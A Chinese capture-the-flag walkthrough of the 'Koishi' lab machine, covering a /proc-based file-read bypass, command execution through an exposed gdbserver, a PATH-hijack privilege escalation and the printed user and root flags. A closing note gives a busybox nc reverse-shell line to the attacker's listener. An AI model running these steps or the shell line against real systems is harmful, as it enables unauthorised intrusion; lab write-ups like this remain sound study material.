端口扫描

1
2
3
4
5
6
7
8
9
10
11
12
13
┌──(kali㉿kali)-[~/HMV/koishi]
└─$ sudo nmap -p- 192.168.43.10 -oA ports
Starting Nmap 7.95 ( https://nmap.org ) at 2026-03-06 13:17 CST
Nmap scan report for Koishi (192.168.43.10)
Host is up (0.00045s latency).
Not shown: 65532 closed tcp ports (reset)
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
34225/tcp open unknown
MAC Address: CE:7F:27:86:40:F8 (Unknown)

Nmap done: 1 IP address (1 host up) scanned in 1.36 seconds

看到有一个特殊的端口 34225 ,本来应该进行详细信息扫描的,但是详细信息扫描之后,那个端口就被关闭了,后来了解到 nmap 的详细信息扫描有时会导致高端口的服务崩掉,所以这里就不再进行详细信息扫描了。

web 渗透

上 web 页面看一下:

image1

进去就是这么一个页面,询问了一下 AI ,它说这是 /proc/self/status 的信息,说明靶机启动的进程是 php-fpm83

进行目录扫描:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
┌──(kali㉿kali)-[~/HMV/koishi]
└─$ sudo gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.43.10 -x php,html,txt
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://192.168.43.10
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.6
[+] Extensions: php,html,txt
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.html (Status: 403) [Size: 146]
/index.php (Status: 200) [Size: 1173]
/info.php (Status: 200) [Size: 57209]
/eval.php (Status: 200) [Size: 56]
Progress: 32422 / 882244 (3.67%)^C
[!] Keyboard interrupt detected, terminating.
Progress: 33297 / 882244 (3.77%)
===============================================================
Finished
===============================================================

info.phpeval.php,info.php 进去就是 phpinfo() 页面,eval.php 进去之后非常有意思,看上去是个后门,如下:

image2

但是这个页面测试发现,几乎根本无法执行命令,只会询问你 Are you hacker?,于是先放下。

目光回到一开始的 index.php 页面,想着它默认会呈现 /proc/self/status 的内容,那它会不会能读取别的文件?

于是我给了它一个参数 file=/etc/passwd ,它返回了无法读取这个文件:

image3

那就说明至少它读取了我给的参数 file ,只是它没法读。

它能读 /proc/self/status ,那是不是也应该能读 /proc/self 里面的其他文件?

按照这个思路,我准备测试 /proc/self/root/etc/passwd

/proc/self/root 是一个链接,一般指示的是 linux 的根目录,因此 /proc/self/root/etc/passwd 其实就是 /etc/passwd

测试发现能读:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
┌──(kali㉿kali)-[~/HMV/koishi]
└─$ curl 'http://192.168.43.10/index.php?file=/proc/self/root/etc/passwd'
root:x:0:0:root:/root:/bin/sh
bin:x:1:1:bin:/bin:/sbin/nologin
daemon:x:2:2:daemon:/sbin:/sbin/nologin
lp:x:4:7:lp:/var/spool/lpd:/sbin/nologin
sync:x:5:0:sync:/sbin:/bin/sync
shutdown:x:6:0:shutdown:/sbin:/sbin/shutdown
halt:x:7:0:halt:/sbin:/sbin/halt
mail:x:8:12:mail:/var/mail:/sbin/nologin
news:x:9:13:news:/usr/lib/news:/sbin/nologin
uucp:x:10:14:uucp:/var/spool/uucppublic:/sbin/nologin
cron:x:16:16:cron:/var/spool/cron:/sbin/nologin
ftp:x:21:21::/var/lib/ftp:/sbin/nologin
sshd:x:22:22:sshd:/dev/null:/sbin/nologin
games:x:35:35:games:/usr/games:/sbin/nologin
ntp:x:123:123:NTP:/var/empty:/sbin/nologin
guest:x:405:100:guest:/dev/null:/sbin/nologin
nobody:x:65534:65534:nobody:/:/sbin/nologin
klogd:x:100:101:klogd:/dev/null:/sbin/nologin
nginx:x:101:102:nginx:/var/lib/nginx:/sbin/nologin
514:x:1000:1000::/home/514:/bin/sh

还能发现有一个用户叫 514 ,我们还能读取其 home 目录,可以读取 user.txt ,但是没有 ssh 私钥。

前面通过 info.php ,已经了解到网站的根目录为 /var/www/localhost ,我们先读一下 index.php 的源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
┌──(kali㉿kali)-[~/HMV/koishi]
└─$ curl 'http://192.168.43.10/index.php?file=/proc/self/root/var/www/localhost/index.php'
<?php
error_reporting(0);
header("Content-Type: text/plain; charset=utf-8");
header("X-Content-Type-Options: nosniff");
header("Content-Disposition: inline");

class ProcReader {
private $allowedBase = '/proc/';

public function validatePath($filePath) {
if (preg_match('/^[a-zA-Z0-9.+-]+:\/\//', $filePath)) {
return false;
}

$path = str_replace(['//', './'], ['/', ''], $filePath);

if (strpos($path, '..') !== false) {
return false;
}

return strpos($path, $this->allowedBase) === 0;
}

public function readFile($filePath) {
if (!$this->validatePath($filePath) || !is_readable($filePath)) {
return "Error: Access Denied or File Unreadable";
}

$content = @file_get_contents($filePath);
if ($content === false) return "Error: Read failed";

return str_replace("\0", " ", $content);
}
}

$reader = new ProcReader();
$action = $_GET['action'] ?? 'read';
$file = $_GET['file'] ?? '/proc/self/status';

if ($action === 'read') {
echo $reader->readFile($file);
} elseif ($action === 'list') {
$dirs = @glob('/proc/[0-9]*', GLOB_ONLYDIR);
echo implode(PHP_EOL, $dirs);
}

可以看到这个代码的大致意思是我们不能进行伪协议,不能用 .. 进行目录穿越,只能以 /proc 开头读取文件。

同时,它还有一个功能,当我们给它 action=list 参数的时候,它会把 /proc 里的进程文件都给输出出来,像这样:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~/HMV/koishi]
└─$ curl 'http://192.168.43.10/index.php?action=list'
/proc/1
/proc/10
/proc/11
/proc/1285
/proc/1286
/proc/13
/proc/15
/proc/16
/proc/17
/proc/1744
/proc/18
/proc/187
/proc/188
/proc/19
/proc/195
/proc/2
/proc/20
/proc/2033
…………

因此,我们可以让 AI 写一个脚本,用来读取每一个进程文件里的 cmdline,把结果写到 out.txt 里面,脚本如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
#!/bin/bash

# 清空 out.txt(若需要每次运行重新开始,保留此行;若希望追加则注释掉)
> out.txt

# 将所有标准输出和错误输出重定向到 out.txt(追加模式)
exec >> out.txt 2>&1

# 检查目标文件是否存在
if [ ! -f target.txt ]; then
echo "错误:找不到 target.txt 文件"
exit 1
fi

# 逐行读取数字
while IFS= read -r num; do
# 跳过空行
[ -z "$num" ] && continue

# 验证是否为纯数字(防止恶意/意外内容)
if ! [[ $num =~ ^[0-9]+$ ]]; then
echo "警告:'$num' 不是有效的数字,已跳过"
continue
fi

# 构造 URL
url="http://192.168.43.10/index.php?file=/proc/${num}/cmdline"

# 添加分隔线,标明当前 PID
echo "========== PID ${num} =========="

# 使用 curl 下载,输出自动追加到 out.txt(因为 stdout 已重定向)
curl -s "$url"

# 检查 curl 执行是否成功
if [ $? -eq 0 ]; then
echo "下载 PID ${num} 成功"
else
# 错误信息也会进入 out.txt
echo "下载 PID ${num} 失败"
fi

# 添加空行分隔不同 PID 的内容
echo

# 可选:添加短暂延迟,避免请求过快
# sleep 0.1
done < target.txt

echo "全部处理完成"

然后把进程号都写进 target.txt ,执行脚本:

1
2
3
4
5
6
7
8
┌──(kali㉿kali)-[~/HMV/koishi]
└─$ curl 'http://192.168.43.10/index.php?action=list' | awk -F '/' '{print $3}' > target.txt
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 773 0 773 0 0 22882 0 --:--:-- --:--:-- --:--:-- 23424

┌──(kali㉿kali)-[~/HMV/koishi]
└─$ ./exp.sh

查看 out.txt 的内容(只保留了有内容的部分):

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
┌──(kali㉿kali)-[~/HMV/koishi]
└─$ cat out.txt
========== PID 1 ==========
/sbin/init 下载 PID 1 成功

========== PID 2253 ==========
/sbin/udhcpc -b -R -p /var/run/udhcpc.eth0.pid -i eth0 -x hostname:Koishi 下载 PID 2253 成功

========== PID 2313 ==========
/sbin/syslogd -t -n 下载 PID 2313 成功

========== PID 2340 ==========
/sbin/acpid -f 下载 PID 2340 成功

========== PID 2366 ==========
/usr/sbin/crond -c /etc/crontabs -f 下载 PID 2366 成功

========== PID 2393 ==========
/usr/bin/gdbserver --multi :0 下载 PID 2393 成功

========== PID 24 ==========
下载 PID 24 成功

========== PID 2424 ==========
nginx: master process /usr/sbin/nginx -c /etc/nginx/nginx.conf 下载 PID 2424 成功

========== PID 2425 ==========
nginx: worker process 下载 PID 2425 成功

========== PID 2451 ==========
/usr/sbin/ntpd -N -p pool.ntp.org -n 下载 PID 2451 成功

========== PID 2484 ==========
php-fpm: master process (/etc/php83/php-fpm.conf) 下载 PID 2484 成功

========== PID 25 ==========
下载 PID 25 成功

========== PID 2514 ==========
sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups 下载 PID 2514 成功

========== PID 2533 ==========
php-fpm: pool www 下载 PID 2533 成功

========== PID 2535 ==========
php-fpm: pool www 下载 PID 2535 成功

看到其中有个 /usr/bin/gdbserver --multi :0 很新奇,询问了 AI ,AI 说这是 GDB 远程服务器 ,开启了多进程模式,可以调试多个进程,:0 表示分配一个临时端口。

gdbserver

想到前面扫描的时候多出了一个 34225 端口,可能这个端口上开着的就是 gdbserver,尝试连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
┌──(kali㉿kali)-[~]
└─$ gdb
GNU gdb (Debian 17.1-3) 17.1
Copyright (C) 2025 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law.
Type "show copying" and "show warranty" for details.
This GDB was configured as "aarch64-linux-gnu".
Type "show configuration" for configuration details.
For bug reporting instructions, please see:
<https://www.gnu.org/software/gdb/bugs/>.
Find the GDB manual and other documentation resources online at:
<http://www.gnu.org/software/gdb/documentation/>.

For help, type "help".
Type "apropos word" to search for commands related to "word".
(gdb) target extended-remote 192.168.43.10:36687
Remote debugging using 192.168.43.10:36687
⚠ warning: while parsing target description (at line 1): Target description specified unknown architecture "i386:x86-64"
⚠ warning: Could not load XML target description; ignoring
Reading /bin/busybox from remote target...
⚠ warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
Reading /bin/busybox from remote target...
Reading symbols from target:/bin/busybox...
(No debugging symbols found in target:/bin/busybox)
⚠ warning: while parsing target description (at line 1): Target description specified unknown architecture "i386:x86-64"
⚠ warning: Could not load XML target description; ignoring
❌ Truncated register 52 in remote 'g' packet

target extended-remote 表示调试结束后不关闭与 gdbserver 的连接;如果是 target remote ,则表示一次性的连接,调试结束之后就会关闭连接,如果按照这种方式和靶机连接,我们会发现连上之后就断开连接了,而且远程的对应端口也会随之关闭。

可以看到上面的响应,至少似乎是连接上了,但对方给我发送对方是 i386:x86-64 架构,而我的是 arm 版的 gdb ,因此推测无法正常连接是因为架构不匹配。

于是我换了一个 UTM 起的 Ubuntu 的虚拟机,架构是 x86 的,尝试连接:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
ubuntu@ubuntu:~$ gdb
GNU gdb (Ubuntu 15.0.50.20240403-0ubuntu1) 15.0.50.20240403-git
Copyright (C) 2024 Free Software Foundation, Inc.
For help, type "help".
Type "apropos word" to search for commands related to "word".
pwndbg: loaded 215 pwndbg commands. Type pwndbg [filter] for a list.
pwndbg: created 13 GDB functions (can be used with print/break). Type help function to see them.
------- tip of the day (disable with set show-tips off) -------
Pwndbg resolves kernel memory maps by parsing page tables (default) or via monitor info mem QEMU gdbstub command (use set kernel-vmmap-via-page-tables off for that)
pwndbg> target extended-remote 192.168.43.10:36687
Remote debugging using 192.168.43.10:36687
pwndbg> run
Starting program:
Reading /bin/busybox from remote target...
warning: File transfers from remote targets can be slow. Use "set sysroot" to access files locally instead.
Reading /bin/busybox from remote target...
Reading symbols from target:/bin/busybox...
Reading /usr/lib/debug/.build-id/34/b42ef64c28cf5150049d56ba3f20c5cb390288.debug from remote target...

This GDB supports auto-downloading debuginfo from the following URLs:
<https://debuginfod.ubuntu.com>
Debuginfod has been disabled.
To make this setting permanent, add 'set debuginfod enabled off' to .gdbinit.
(No debugging symbols found in target:/bin/busybox)
Reading /lib/ld-musl-x86_64.so.1 from remote target...
Reading /lib/ld-musl-x86_64.so.1 from remote target...
Reading /usr/lib/debug/.build-id/3a/678e0f20d6668bb1d136fbef9e1dfe962f64a9.debug from remote target...
Reading /lib/ld-musl-x86_64.so.1.debug from remote target...
Reading /lib/.debug/ld-musl-x86_64.so.1.debug from remote target...
Reading /usr/lib/debug//lib/ld-musl-x86_64.so.1.debug from remote target...
Reading /usr/lib/debug//lib/ld-musl-x86_64.so.1.debug from remote target...
Reading /usr/lib/debug/.build-id/30/e59283d0902e1a50e46bc848deb53665d2dd8c.debug from remote target...
[Inferior 1 (process 2940) exited normally]
pwndbg>

看上去这次是连接成功了,而且他运行了 /bin/busybox ,并且正常退出了。

所以我们现在的目标是,拿到靶机的 shell。

询问了 AI ,AI 给出了一个不错的方案,他说我们可以 call system("id") ,但是得有一个进程,所以我们可以先创建一个进程。

例如:

1
2
pwndbg> set remote exec-file /bin/sleep
pwndbg> run 100000

然后这里就会阻塞,因为靶机在执行 sleep 100000,所以我们可以 control + C 中断到 gdb 的终端,进行 call system("ls / >/tmp/123txt") 来测试是否能执行命令:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
pwndbg> call system("ls / >/tmp/123.txt")
[Attaching after Thread 3147.3147 vfork to child Thread 3148.3148]
[New inferior 3 (process 3148)]
Reading /lib/ld-musl-x86_64.so.1 from remote target...
Reading /usr/lib/debug/.build-id/30/e59283d0902e1a50e46bc848deb53665d2dd8c.debug from remote target...
[Detaching vfork parent process 3147 after child exec]
[Inferior 2 (process 3147) detached]
process 3148 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
Reading /usr/lib/debug/.build-id/34/b42ef64c28cf5150049d56ba3f20c5cb390288.debug from remote target...
Reading /lib/ld-musl-x86_64.so.1 from remote target...
Reading /lib/ld-musl-x86_64.so.1 from remote target...
Reading /usr/lib/debug/.build-id/3a/678e0f20d6668bb1d136fbef9e1dfe962f64a9.debug from remote target...
Reading /lib/ld-musl-x86_64.so.1.debug from remote target...
Reading /lib/.debug/ld-musl-x86_64.so.1.debug from remote target...
Reading /usr/lib/debug//lib/ld-musl-x86_64.so.1.debug from remote target...
Reading /usr/lib/debug//lib/ld-musl-x86_64.so.1.debug from remote target...
process 3148 is executing new program: /bin/busybox
Reading /bin/busybox from remote target...
Reading /bin/busybox from remote target...
Reading /usr/lib/debug/.build-id/34/b42ef64c28cf5150049d56ba3f20c5cb390288.debug from remote target...
Reading /lib/ld-musl-x86_64.so.1 from remote target...
Reading /lib/ld-musl-x86_64.so.1 from remote target...
Reading /usr/lib/debug/.build-id/3a/678e0f20d6668bb1d136fbef9e1dfe962f64a9.debug from remote target...
Reading /lib/ld-musl-x86_64.so.1.debug from remote target...
Reading /lib/.debug/ld-musl-x86_64.so.1.debug from remote target...
Reading /usr/lib/debug//lib/ld-musl-x86_64.so.1.debug from remote target...
Reading /usr/lib/debug//lib/ld-musl-x86_64.so.1.debug from remote target...
[Inferior 3 (process 3148) exited normally]
The program being debugged exited while in a function called from GDB.
Evaluation of the expression containing the function
(system) will be abandoned.

接着用 web 页面的文件读取,查看 /tmp/123.txt 的内容:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
┌──(kali㉿kali)-[~]
└─$ curl 'http://192.168.43.10/index.php?file=/proc/self/root/tmp/123.txt'
bin
boot
dev
etc
home
lib
lost+found
media
mnt
opt
proc
root
run
sbin
srv
sys
tmp
usr
var

说明可以执行系统命令了,进行反弹 shell 即可:

1
2
3
4
5
6
7
┌──(kali㉿kali)-[~]
└─$ nc -nvlp 1234
Listening on 0.0.0.0 1234
Connection received on 192.168.43.10 38429
ls
protected
user.txt

获取 user flag:

flag{user-dab89930872234e42142674ea25869dc}

提权

当前的用户是 514 ,在靶机内收集信息,想 sudo -l 发现没有 sudo ,找 SUID 文件也没有什么特别的信息,于是就 ps 看看,发现一条 /usr/sbin/crond -c /etc/crontabs -f 是 root 在执行,/etc/crontabs 里的文件我们不可读,于是上传一个 pspy64 看看进程:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
/tmp $ ./pspy64
./pspy64
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d


██▓███ ██████ ██▓███ ▓██ ██▓
▓██░ ██▒▒██ ▒ ▓██░ ██▒▒██ ██▒
▓██░ ██▓▒░ ▓██▄ ▓██░ ██▓▒ ▒██ ██░
▒██▄█▓▒ ▒ ▒ ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
▒██▒ ░ ░▒██████▒▒▒██▒ ░ ░ ░ ██▒▓░
▒▓▒░ ░ ░▒ ▒▓▒ ▒ ░▒▓▒░ ░ ░ ██▒▒▒
░▒ ░ ░ ░▒ ░ ░░▒ ░ ▓██ ░▒░
░░ ░ ░ ░ ░░ ▒ ▒ ░░
░ ░ ░
░ ░

Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
done
2026/03/06 19:41:28 CMD: UID=1000 PID=3293 | ./pspy64
2026/03/06 19:41:28 CMD: UID=1000 PID=3190 | /bin/sh
2026/03/06 19:41:28 CMD: UID=1000 PID=3189 | python3 -c import pty;pty.spawn('/bin/sh')
2026/03/06 19:41:28 CMD: UID=1000 PID=3187 | sh
2026/03/06 19:41:28 CMD: UID=1000 PID=3182 | /bin/sleep 100000
2026/03/06 19:41:28 CMD: UID=0 PID=3146 |
2026/03/06 19:41:28 CMD: UID=0 PID=2861 |
2026/03/06 19:41:28 CMD: UID=65534 PID=2541 | php-fpm: pool www
2026/03/06 19:41:28 CMD: UID=65534 PID=2539 | php-fpm: pool www
2026/03/06 19:41:28 CMD: UID=0 PID=2529 | sshd: /usr/sbin/sshd [listener] 0 of 10-100 startups
2026/03/06 19:41:28 CMD: UID=0 PID=2499 | php-fpm: master process (/etc/php83/php-fpm.conf)
2026/03/06 19:41:28 CMD: UID=123 PID=2466 | /usr/sbin/ntpd -N -p pool.ntp.org -n
2026/03/06 19:41:28 CMD: UID=101 PID=2440 | nginx: worker process
2026/03/06 19:41:28 CMD: UID=0 PID=2439 | nginx: master process /usr/sbin/nginx -c /etc/nginx/nginx.conf
2026/03/06 19:41:28 CMD: UID=1000 PID=2408 | /usr/bin/gdbserver --multi :0
2026/03/06 19:41:28 CMD: UID=0 PID=2381 | /usr/sbin/crond -c /etc/crontabs -f
2026/03/06 19:41:28 CMD: UID=0 PID=2355 | /sbin/acpid -f
2026/03/06 19:41:28 CMD: UID=0 PID=2328 | /sbin/syslogd -t -n
2026/03/06 19:41:28 CMD: UID=0 PID=2253 | /sbin/udhcpc -b -R -p /var/run/udhcpc.eth0.pid -i eth0 -x hostname:Koishi
…………
2026/03/06 19:41:28 CMD: UID=0 PID=1 | /sbin/init
2026/03/06 19:42:00 CMD: UID=0 PID=3301 | /usr/sbin/crond -c /etc/crontabs -f
2026/03/06 19:42:00 CMD: UID=0 PID=3302 | sleep 2
2026/03/06 19:42:02 CMD: UID=0 PID=3303 | sleep 2
2026/03/06 19:42:04 CMD: UID=0 PID=3304 | sleep 2
2026/03/06 19:44:00 CMD: UID=0 PID=3309 |
2026/03/06 19:44:00 CMD: UID=0 PID=3310 | /bin/sh /usr/bin/monitor
2026/03/06 19:44:02 CMD: UID=0 PID=3311 | sleep 2
2026/03/06 19:44:04 CMD: UID=0 PID=3312 | sleep 2

发现 root 会执行 /usr/bin/monitor ,查看其内容:

1
2
3
4
5
6
7
8
9
10
cat /usr/bin/monitor
#!/bin/sh
i=1
while [ $i -le 3 ]; do
if [ ! -f /home/514/protected/secret ]; then
warning
fi
sleep 2
i=$((i+1))
done

如果 /home/514/protected/secret 不存在,就会执行 warning

protected 目录是在我们的 home 目录里的,测试发现我们无法删除其中的 secret ,但是我们可以给 protected 改个名字,这样它就不存在了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
~ $ pwd
pwd
/home/514
~ $ ls -liah
ls -liah
total 16K
1429 drwxr-sr-x 3 514 514 4.0K Mar 6 20:05 .
7914 drwxr-xr-x 3 root root 4.0K Jan 24 01:25 ..
5319 lrwxrwxrwx 1 root 514 9 Jan 24 01:35 .ash_history -> /dev/null
1648 drwxr-sr-x 2 514 514 4.0K Jan 24 01:34 protected
1714 -rw-r--r-- 1 root 514 44 Jan 24 01:25 user.txt
~ $ pwd
pwd
/home/514
~ $ mv protected 123
mv protected 123
~ $ ls -liah
ls -liah
total 16K
1429 drwxr-sr-x 3 514 514 4.0K Mar 6 20:05 .
7914 drwxr-xr-x 3 root root 4.0K Jan 24 01:25 ..
5319 lrwxrwxrwx 1 root 514 9 Jan 24 01:35 .ash_history -> /dev/null
1648 drwxr-sr-x 2 514 514 4.0K Jan 24 01:34 123
1714 -rw-r--r-- 1 root 514 44 Jan 24 01:25 user.txt
~ $ cat 123/secret
cat 123/secret
thisissupersecret!
~ $

接着我们看看 warning 在哪:

1
2
3
4
5
6
7
8
9
10
11
~ $ which warning
which warning
/usr/bin/warning
~ $ ls -liah /usr/bin/warning
ls -liah /usr/bin/warning
5317 -rwxr-xr-x 1 root root 59 Jan 24 01:28 /usr/bin/warning
~ $ ls -liah /usr/bin/
ls -liah /usr/bin/
total 84M
123 drwxr-xr-x 2 root root 12.0K Jan 26 21:02 .
7913 drwxr-xr-x 9 root root 4.0K Jan 24 01:12 ..

warning 和其所在目录我们都不可写,所以没法直接替换 warning 。由于 root 和我们的环境变量不同,所以 PATH 劫持应该也不可行。

本来想用 find 找找可写的目录,但是这个环境的命令是 busybox 的,它的 find 说是没有 -writable 选项……

那就看看 $PATH

1
2
echo $PATH
/bin:/sbin:/usr/bin:/usr/sbin:/usr/bin:/usr/sbin:/usr/local/bin:/usr/local/sbin

一个一个查看这些 PATH 的权限,发现 /usr/local/bin 可写:

1
2
3
4
5
~ $ ls -liah /usr/local/bin
ls -liah /usr/local/bin
total 12K
459 drwxrwxrwx 2 root root 4.0K Mar 6 20:20 .
458 drwxr-xr-x 5 root root 4.0K Jun 3 2025 ..

那就往这里写个 warning 试试:

1
2
3
~ $ cat /usr/local/bin/warning
cat /usr/local/bin/warning
touch /tmp/abc.txt

赋予执行权限之后,等待 monitor 的执行。

等了一会儿,查看 /tmp ,发现 root 创建了 abc.txt

1
2
3
4
5
6
7
8
9
10
11
12
~ $ ls -liah /tmp
ls -liah /tmp
total 4M
1 drwxrwxrwt 4 root root 180 Mar 6 20:21 .
2 drwxr-xr-x 21 root root 4.0K Jan 30 22:42 ..
3 drwxrwxrwt 2 root root 40 Mar 6 14:41 .ICE-unix
4 drwxrwxrwt 2 root root 40 Mar 6 14:41 .X11-unix
5 -rw-r--r-- 1 514 514 90 Mar 6 19:22 123.txt
9 -rw-r--r-- 1 root root 0 Mar 6 20:26 abc.txt
7 -rwxr-xr-x 1 514 514 3.0M Mar 6 19:41 pspy64
6 -rwxr-xr-x 1 514 514 1.2M Mar 6 19:40 pspy64s
8 -rwxr-xr-x 1 514 514 23 Mar 6 19:47 sleep

说明在 root 的环境变量里面 /usr/local/bin 是在 /usr/bin 之前的,我们可以进行命令劫持。

把 root flag 移动到 /tmp 目录下,获取 root flag:

1
2
3
~ $ cat /tmp/root.txt
cat /tmp/root.txt
flag{root-7bd5942949d04a7abfa7b9af22704ae2}

PS

在 gdb 执行命令的那一步,也可以:

1
2
set remote exec-file /bin/sh
run -c "busybox nc 192.168.43.153 1234 -e"